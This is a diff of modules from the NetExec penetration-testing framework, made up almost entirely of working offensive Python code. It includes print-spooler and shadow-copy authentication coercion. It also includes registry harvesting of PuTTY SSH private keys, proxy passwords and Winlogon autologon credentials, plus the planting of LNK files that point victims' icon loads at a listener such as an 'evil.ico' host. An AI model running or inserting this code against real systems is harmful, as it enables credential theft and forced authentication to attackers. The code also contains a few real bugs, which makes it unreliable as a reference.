+    def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
+        rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target)
+        rpctransport.set_dport(445)
+
+        if hasattr(rpctransport, "set_credentials"):
+            rpctransport.set_credentials(
+                username=username,
+                password=password,
+                domain=domain,
+                lmhash=lmhash,
+                nthash=nthash,
+                aesKey=aesKey,
+            )
+
+        if doKerberos:
+            rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
+
+        rpctransport.setRemoteHost(target)
+        dce = rpctransport.get_dce_rpc()
+        self.context.log.debug("Connecting to {}".format(r"ncacn_np:%s[\PIPE\spoolfs]") % target)
+        try:
+            dce.connect()
+        except Exception as e:
+            self.context.log.debug(f"Something went wrong, check error status => {e!s}")
+            return None
+        try:
+            dce.bind(rprn.MSRPC_UUID_RPRN)
+        except Exception as e:
+            self.context.log.debug(f"Something went wrong, check error status => {e!s}")
+            return None
+        self.context.log.debug("Successfully bound!")
+        return dce
+
+    def RpcRemoteFindFirstPrinterChange(self, dce, listener, target):
+        self.context.log.debug("Sending RpcRemoteFindFirstPrinterChange!")
+        try:
+            resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
+        except Exception as e:
+            if str(e).find("Broken pipe") >= 0:
+                # The connection timed-out. Let's try to bring it back next round
+                self.context.log.error("Connection failed - skipping host!")
+                return
+            elif str(e).upper().find("ACCESS_DENIED"):
+                # We're not admin, bye
+                self.context.log.error("Access denied - RPC call was denied")
+                dce.disconnect()
+                return
+            else:
+                raise
+        self.context.log.debug("Got handle")
+
+        try:
+            request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
+            request["hPrinter"] = resp["pHandle"]
+            request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
+            request["pszLocalMachine"] = "\\\\%s\x00" % listener
+        except Exception as e:
+            self.context.log.debug(e)
+
+        try:
+            dce.request(request)
+        except Exception as e:
+            self.context.log.debug(e)

nxc/modules/printnightmare.py

@@ -1,6 +1,6 @@
 import sys
 from impacket import system_errors
-from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
 from impacket.structure import Structure
 from impacket.dcerpc.v5 import transport, rprn
 from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
@@ -55,12 +55,13 @@ class NXCModule:
         )
 
         rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
-
         rpctransport.setRemoteHost(connection.host)
         rpctransport.set_dport(self.port)
 
         try:
             dce = rpctransport.get_dce_rpc()
+            if connection.kerberos:
+                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
             # Connect to spoolss named pipe
             dce.connect()
             # Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB

nxc/modules/pso.py

@@ -1,92 +1,111 @@
+from dateutil.relativedelta import relativedelta as rd
 from impacket.ldap import ldapasn1 as ldapasn1_impacket
-from impacket.ldap import ldap as ldap_impacket
-from math import fabs
 
 
 class NXCModule:
     """
-    Created by fplazar and wanetty
-    Module by @gm_eduard and @ferranplaza
-    Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
-    """
+    Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
 
+    Module by @_sandw1ch
+    """
     name = "pso"
-    description = "Query to get PSO from LDAP"
+    description = "Module to get the Fine Grained Password Policy/PSOs"
     supported_protocols = ["ldap"]
     opsec_safe = True
-    multiple_hosts = True
+    multiple_hosts = False
 
-    pso_fields = [
-        "cn",
-        "msDS-PasswordReversibleEncryptionEnabled",
-        "msDS-PasswordSettingsPrecedence",
-        "msDS-MinimumPasswordLength",
-        "msDS-PasswordHistoryLength",
-        "msDS-PasswordComplexityEnabled",
-        "msDS-LockoutObservationWindow",
-        "msDS-LockoutDuration",
-        "msDS-LockoutThreshold",
-        "msDS-MinimumPasswordAge",
-        "msDS-MaximumPasswordAge",
-        "msDS-PSOAppliesTo",
-    ]
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
 
     def options(self, context, module_options):
         """No options available."""
 
-    def convert_time_field(self, field, value):
-        time_fields = {"msDS-LockoutObservationWindow": (60, "mins"), "msDS-MinimumPasswordAge": (86400, "days"), "msDS-MaximumPasswordAge": (86400, "days"), "msDS-LockoutDuration": (60, "mins")}
-
-        if field in time_fields:
-            value = f"{int(fabs(float(value)) / (10000000 * time_fields[field][0]))} {time_fields[field][1]}"
-
-        return value
-
     def on_login(self, context, connection):
-        """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
-        # Building the search filter
-        search_filter = "(objectClass=msDS-PasswordSettings)"
+        # Are there even any FGPPs?
+        context.log.success("Attempting to enumerate policies...")
+        resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
+        if len(resp) > 1:
+            context.log.highlight(f"{len(resp) - 1} PSO Objects found!")
+            context.log.highlight("")
+            context.log.success("Attempting to enumerate objects with an applied policy...")
 
-        try:
-            context.log.debug(f"Search Filter={search_filter}")
-            resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=self.pso_fields, sizeLimit=0)
-        except ldap_impacket.LDAPSearchError as e:
-            if e.getErrorString().find("sizeLimitExceeded") >= 0:
-                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
-                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
-                # paged queries
-                resp = e.getAnswers()
-            else:
-                context.log.debug(e)
-                return False
-
-        pso_list = []
-
-        context.log.debug(f"Total of records returned {len(resp)}")
-        for item in resp:
-            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+        # Who do they apply to?
+        resp = connection.search(searchFilter="(objectclass=*)", attributes=["DistinguishedName", "msDS-PSOApplied"])
+        for attrs in resp:
+            if isinstance(attrs, ldapasn1_impacket.SearchResultEntry) is not True:
                 continue
+            for attr in attrs["attributes"]:
+                if str(attr["type"]) in "msDS-PSOApplied":
+                    context.log.highlight(f"Object: {attrs['objectName']}")
+                    context.log.highlight("Applied Policy: ")
+                    for value in attr["vals"]:
+                        context.log.highlight(f"\t{value}")
+                    context.log.highlight("")
 
-            pso_info = {}
+        # Let"s find out even more details!
+        context.log.success("Attempting to enumerate details...\n")
+        resp = connection.search(searchFilter="(objectclass=msDS-PasswordSettings)",
+                                 attributes=["name", "msds-lockoutthreshold", "msds-psoappliesto", "msds-minimumpasswordlength",
+                                             "msds-passwordhistorylength", "msds-lockoutobservationwindow", "msds-lockoutduration",
+                                             "msds-passwordsettingsprecedence", "msds-passwordcomplexityenabled", "Description",
+                                             "msds-passwordreversibleencryptionenabled", "msds-minimumpasswordage", "msds-maximumpasswordage"])
+        for attrs in resp:
+            if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
+                continue
+            policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, obersationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
+            for attr in attrs["attributes"]:
+                if str(attr["type"]) == "name":
+                    policyName = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-LockoutThreshold":
+                    lockoutThreshold = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-MinimumPasswordLength":
+                    passwordLength = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-PasswordHistoryLength":
+                    passwordhistorylength = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-LockoutObservationWindow":
+                    observationWindow = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-LockoutDuration":
+                    lockoutDuration = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-PasswordSettingsPrecedence":
+                    precedence = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-PasswordComplexityEnabled":
+                    complexity = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-PasswordReversibleEncryptionEnabled":
+                    reverseibleEncryption = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-MinimumPasswordAge":
+                    minPassAge = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-MaximumPasswordAge":
+                    maxPassAge = attr["vals"][0]
+                elif str(attr["type"]) == "description":
+                    description = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-PSOAppliesTo":
+                    policyApplies = ""
+                    for value in attr["vals"]:
+                        policyApplies += f"{value};"
+            context.log.highlight(f"Policy Name: {policyName}")
+            if description:
+                context.log.highlight(f"Description: {description}")
+            context.log.highlight(f"Minimum Password Length: {passwordLength}")
+            context.log.highlight(f"Minimum Password History Length: {passwordhistorylength}")
+            context.log.highlight(f"Lockout Threshold: {lockoutThreshold}")
+            context.log.highlight(f"Observation Window: {mins(observationWindow)}")
+            context.log.highlight(f"Lockout Duration: {mins(lockoutDuration)}")
+            context.log.highlight(f"Complexity Enabled: {complexity}")
+            context.log.highlight(f"Minimum Password Age: {days(minPassAge)}")
+            context.log.highlight(f"Maximum Password Age: {days(maxPassAge)}")
+            context.log.highlight(f"Reversible Encryption: {reverseibleEncryption}")
+            context.log.highlight(f"Precedence: {precedence} (Lower is Higher Priority)")
+            context.log.highlight("Policy Applies to:")
+            for value in str(policyApplies)[:-1].split(";"):
+                if value:
+                    context.log.highlight(f"\t{value}")
+            context.log.highlight("")
 
-            try:
-                for attribute in item["attributes"]:
-                    attr_name = str(attribute["type"])
-                    if attr_name in self.pso_fields:
-                        pso_info[attr_name] = attribute["vals"][0]._value.decode("utf-8")
 
-                pso_list.append(pso_info)
+def days(ldap_time):
+    return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
 
-            except Exception as e:
-                context.log.debug("Exception:", exc_info=True)
-                context.log.debug(f"Skipping item, cannot process due to error {e}")
-        if len(pso_list) > 0:
-            context.log.success("Password Settings Objects (PSO) found:")
-            for pso in pso_list:
-                for field in self.pso_fields:
-                    if field in pso:
-                        value = self.convert_time_field(field, pso[field])
-                        context.log.highlight(f"{field}: {value}")
-                context.log.highlight("-----")
-        else:
-            context.log.info("No Password Settings Objects (PSO) found.")
+
+def mins(ldap_time):
+    return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"

nxc/modules/putty.py

@@ -0,0 +1,221 @@
+from datetime import datetime
+from io import BytesIO
+import traceback
+from urllib.parse import unquote
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5 import rrp
+from impacket.examples.secretsdump import RemoteOperations
+from os import makedirs
+from nxc.helpers.logger import highlight
+from nxc.paths import NXC_PATH
+import re
+
+
+class NXCModule:
+    """Module by @NeffIsBack"""
+
+    name = "putty"
+    description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def __init__(self):
+        self.context = None
+        self.module_options = None
+        self.rrp = None
+
+    def options(self, context, module_options):
+        """No options available"""
+
+    def get_logged_on_users(self):
+        """Enumerate all logged in and loaded Users on System"""
+        reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
+        key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
+        users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
+
+        # Get User Names
+        user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
+        rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+
+        # Filter legit users in regex
+        user_objects.remove(".DEFAULT")
+        regex = re.compile(r"^.*_Classes$")
+        return [i for i in user_objects if not regex.match(i)]
+
+    def get_all_users(self):
+        """Get all users that have logged in at some point in time"""
+        reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
+        key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
+        users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
+
+        # Get User Names
+        user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
+        rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+        return user_objects
+
+    def sid_to_name(self, all_users):
+        """Convert SID to Usernames for better readability"""
+        reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
+
+        user_dict = {}
+        for user_object in all_users:
+            key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
+            user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
+            rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+            user_dict[user_object] = user_profile_path.split("\\")[-1]
+        return user_dict
+
+    def load_missing_users(self, unloaded_user_objects):
+        """Load missing users into registry to access their registry keys."""
+        for user_object in unloaded_user_objects:
+            # Extract profile Path of NTUSER.DAT
+            reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
+            key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
+            user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
+            rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+
+            # Load Profile
+            reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
+            key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
+
+            self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
+            rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
+            rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+
+    def unload_missing_users(self, unloaded_user_objects):
+        """If some user were not logged in at the beginning we unload them from registry."""
+        reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
+        key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
+
+        for user_object in unloaded_user_objects:
+            self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
+            try:
+                rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
+            except Exception as e:
+                self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
+                self.context.log.debug(traceback.format_exc())
+        rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+
+    def get_private_key_paths(self, all_users):
+        """Get all private key paths for all users"""
+        sessions = []
+        reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
+
+        for user in all_users:
+            try:
+                key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
+                reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
+                self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
+
+                # Get Session Names
+                session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
+                rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+
+                # Extract stored Session infos
+                for session_name in session_names:
+                    key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
+
+                    # Get private Key Path
+                    private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
+                    proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
+                    proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
+                    proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
+                    proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
+
+                    # Session infos
+                    hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
+                    port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
+                    protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
+                    sessions.append({
+                        "user": self.user_dict[user],
+                        "session_name": unquote(session_name),
+                        "hostname": hostname,
+                        "port": port,
+                        "protocol": protocol,
+                        "private_key_path": private_key_path,
+                        "proxy_host": proxy_host,
+                        "proxy_port": proxy_port,
+                        "proxy_username": proxy_username,
+                        "proxy_password": proxy_password
+                    })
+                    rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+
+            except DCERPCException as e:
+                if str(e).find("ERROR_FILE_NOT_FOUND"):
+                    self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
+            except Exception as e:
+                self.context.log.fail(f"Unexpected error: {e}")
+                self.context.log.debug(traceback.format_exc())
+        return sessions
+
+    def extract_session(self, sessions):
+        proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
+        for session in sessions:
+            if session["private_key_path"]:
+                makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
+                share = session["private_key_path"].split(":")[0] + "$"
+                file_path = session["private_key_path"].split(":")[1]
+                download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
+
+                buf = BytesIO()
+                with open(download_path, "wb") as file:
+                    try:
+                        self.connection.conn.getFile(share, file_path, buf.write)
+                    except Exception as e:
+                        if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
+                            self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
+                        else:
+                            self.context.log.exception(f"Error downloading private key: {e}")
+                        continue
+                    file.write(buf.getvalue())
+                self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
+                self.context.log.highlight(f"Sessionname: {session['session_name']}")
+                self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
+                self.context.log.highlight(f"Protocol: {session['protocol']}")
+            if session["proxy_password"]:
+                self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
+                self.context.log.highlight(f"Sessionname: {session['session_name']}")
+                self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
+                self.context.log.highlight(f"Protocol: {session['protocol']}")
+                self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
+                self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
+                self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
+                with open(proxycreds_file, "a") as f:
+                    f.write("================\n")
+                    f.write(f"User: {session['user']}\n")
+                    f.write(f"Sessionname: {session['session_name']}\n")
+                    f.write(f"Host: {session['hostname']}:{session['port']}\n")
+                    f.write(f"Protocol: {session['protocol']}\n")
+                    f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
+                    f.write(f"Proxy Username: {session['proxy_username']}\n")
+                    f.write(f"Proxy Password: {session['proxy_password']}\n")
+                self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
+
+    def on_admin_login(self, context, connection):
+        self.connection = connection
+        self.context = context
+
+        try:
+            self.rrp = RemoteOperations(connection.conn, connection.kerberos)
+            self.rrp.enableRegistry()
+
+            all_users = self.get_all_users()
+            loaded_user_objects = self.get_logged_on_users()
+            self.user_dict = self.sid_to_name(all_users)
+
+            # Users which must be loaded into registry:
+            unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
+            self.load_missing_users(unloaded_user_objects)
+
+            sessions = self.get_private_key_paths(all_users)
+            if sessions:
+                self.extract_session(sessions)
+            else:
+                self.context.log.info("No saved putty sessions found in registry")
+
+            self.unload_missing_users(unloaded_user_objects)
+        except Exception as e:
+            context.log.exception(f"Error: {e}")
+        finally:
+            self.rrp.finish()

nxc/modules/rdp.py

@@ -83,7 +83,7 @@ class NXCModule:
 
             wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
 
-            if hasattr(wmi_rdp, "_rdp_WMI__iWbemLevel1Login"):
+            if hasattr(wmi_rdp, "_RdpWmi__iWbemLevel1Login"):
                 if "ram" in self.action:
                     # Nt version under 6 not support RAM.
                     try:
@@ -101,7 +101,7 @@ class NXCModule:
                             context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
                         else:
                             context.log.fail(str(e))
-                wmi_rdp._rdp_WMI__dcom.disconnect()
+                wmi_rdp._RdpWmi__dcom.disconnect()
 
 
 class RdpSmb:
@@ -218,6 +218,7 @@ class RdpWmi:
         self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
         self.__doKerberos = connection.kerberos
         self.__kdcHost = connection.kdcHost
+        self.__remoteHost = connection.host
         self.__aesKey = connection.aesKey
         self.__timeout = timeout
 
@@ -233,11 +234,12 @@ class RdpWmi:
                 oxidResolver=True,
                 doKerberos=self.__doKerberos,
                 kdcHost=self.__kdcHost,
+                remoteHost=self.__remoteHost,
             )
 
             i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
             if self.__currentprotocol == "smb":
-                flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__timeout)
+                flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
                 if not flag or not self.__stringBinding:
                     error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
 

nxc/modules/reg-winlogon.py

@@ -0,0 +1,46 @@
+from impacket.dcerpc.v5 import rrp
+from impacket.examples.secretsdump import RemoteOperations
+
+class NXCModule:
+    r"""
+    WinLogon AutoLogon: extract the credential from the following registry hive
+    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
+    Module by @pentest_swissky
+    """
+
+    name = "reg-winlogon"
+    description = "Collect autologon credential stored in the registry"
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        """ """
+
+    def on_admin_login(self, context, connection):
+        remoteOps = RemoteOperations(connection.conn, False)
+        remoteOps.enableRegistry()
+
+        ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
+        regHandle = ans["phKey"]
+        ans = rrp.hBaseRegOpenKey(
+            remoteOps._RemoteOperations__rrp,
+            regHandle,
+            "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
+        )
+        keyHandle = ans["phkResult"]
+        
+        reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"]
+        for reg_key in reg_keys:
+            try:
+                dataType, reg_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, reg_key)
+                context.log.highlight(f"{reg_key}: {reg_value}")
+            except Exception:
+                context.log.highlight(f"{reg_key}:")
+
+        rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
+        remoteOps.finish()

nxc/modules/runasppl.py

@@ -14,8 +14,8 @@ class NXCModule:
         """"""
 
     def on_admin_login(self, context, connection):
-        command = "reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
-        context.log.display("Executing command")
+        command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
+        context.log.debug(f"Executing command: {command}")
         p = connection.execute(command, True)
         if "The system was unable to find the specified registry key or value" in p:
             context.log.debug("Unable to find RunAsPPL Registry Key")

nxc/modules/schtask_as.py

@@ -52,6 +52,7 @@ class NXCModule:
                 self.cmd,
                 connection.kerberos,
                 connection.aesKey,
+                connection.host,
                 connection.kdcHost,
                 connection.hash,
                 self.logger,
@@ -77,7 +78,7 @@ class NXCModule:
 
 
 class TSCH_EXEC:
-    def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
+    def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
         self.__target = target
         self.__username = username
         self.__password = password
@@ -89,6 +90,7 @@ class TSCH_EXEC:
         self.__retOutput = False
         self.__aesKey = aesKey
         self.__doKerberos = doKerberos
+        self.__remoteHost = remoteHost
         self.__kdcHost = kdcHost
         self.__tries = tries
         self.__output_filename = None
@@ -108,6 +110,7 @@ class TSCH_EXEC:
 
         stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
         self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
+        self.__rpctransport.setRemoteHost(self.__remoteHost)
 
         if hasattr(self.__rpctransport, "set_credentials"):
             # This method exists only for selected protocol sequences.

nxc/modules/scuffy.py

@@ -1,5 +1,6 @@
 import ntpath
 from sys import exit
+from nxc.paths import TMP_PATH
 
 
 class NXCModule:
@@ -44,7 +45,7 @@ class NXCModule:
             exit(1)
 
         self.scf_name = module_options["NAME"]
-        self.scf_path = f"/tmp/{self.scf_name}.scf"
+        self.scf_path = f"{TMP_PATH}/{self.scf_name}.scf"
         self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")
 
         if not self.cleanup:

nxc/modules/shadowcoerce.py

@@ -43,10 +43,11 @@ class NXCModule:
             lmhash=connection.lmhash,
             nthash=connection.nthash,
             aesKey=connection.aesKey,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
+            target=connection.host if not connection.kerberos else connection.remoteName,
             pipe="FssagentRpc",
             doKerberos=connection.kerberos,
             dcHost=connection.kdcHost,
+            remoteHost=connection.host,
         )
 
         # If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
@@ -61,8 +62,9 @@ class NXCModule:
                 lmhash=connection.lmhash,
                 nthash=connection.nthash,
                 aesKey=connection.aesKey,
-                target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
+                target=connection.host if not connection.kerberos else connection.remoteName,
                 pipe="FssagentRpc",
+                remoteHost=connection.host,
             )
 
         if self.ipsc:
@@ -194,6 +196,7 @@ class CoerceAuth:
         pipe,
         doKerberos,
         dcHost,
+        remoteHost,
     ):
         binding_params = {
             "FssagentRpc": {
@@ -202,7 +205,7 @@ class CoerceAuth:
             },
         }
         rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
-        dce = rpctransport.get_dce_rpc()
+        rpctransport.setRemoteHost(remoteHost)
 
         if hasattr(rpctransport, "set_credentials"):
             rpctransport.set_credentials(
@@ -213,7 +216,8 @@ class CoerceAuth:
                 nthash=nthash,
                 aesKey=aesKey,
             )
-
+        
+        dce = rpctransport.get_dce_rpc()
         dce.set_credentials(*rpctransport.get_credentials())
         dce.set_auth_type(RPC_C_AUTHN_WINNT)
         dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

nxc/modules/slinky.py

@@ -7,42 +7,55 @@ class NXCModule:
     """
     Original idea and PoC by Justin Angel (@4rch4ngel86)
     Module by @byt3bl33d3r
+    Updated by @Marshall-Hallenbeck
     """
 
     name = "slinky"
-    description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
+    description = "Creates windows shortcuts with the icon attribute containing a URI to the specified  server (default SMB) in all shares with write permissions"
     supported_protocols = ["smb"]
     opsec_safe = False
     multiple_hosts = True
 
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
+    def __init__(self):
         self.server = None
         self.file_path = None
         self.lnk_path = None
         self.lnk_name = None
+        self.ico_uri = None
+        self.shares = None
         self.cleanup = None
 
     def options(self, context, module_options):
-        """
-        SERVER        IP of the SMB server
-        NAME          LNK file name
+        r"""
+        SERVER        IP of the listening server (running Responder, etc)
+        NAME          LNK file name written to the share(s)
+        ICO_URI       Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
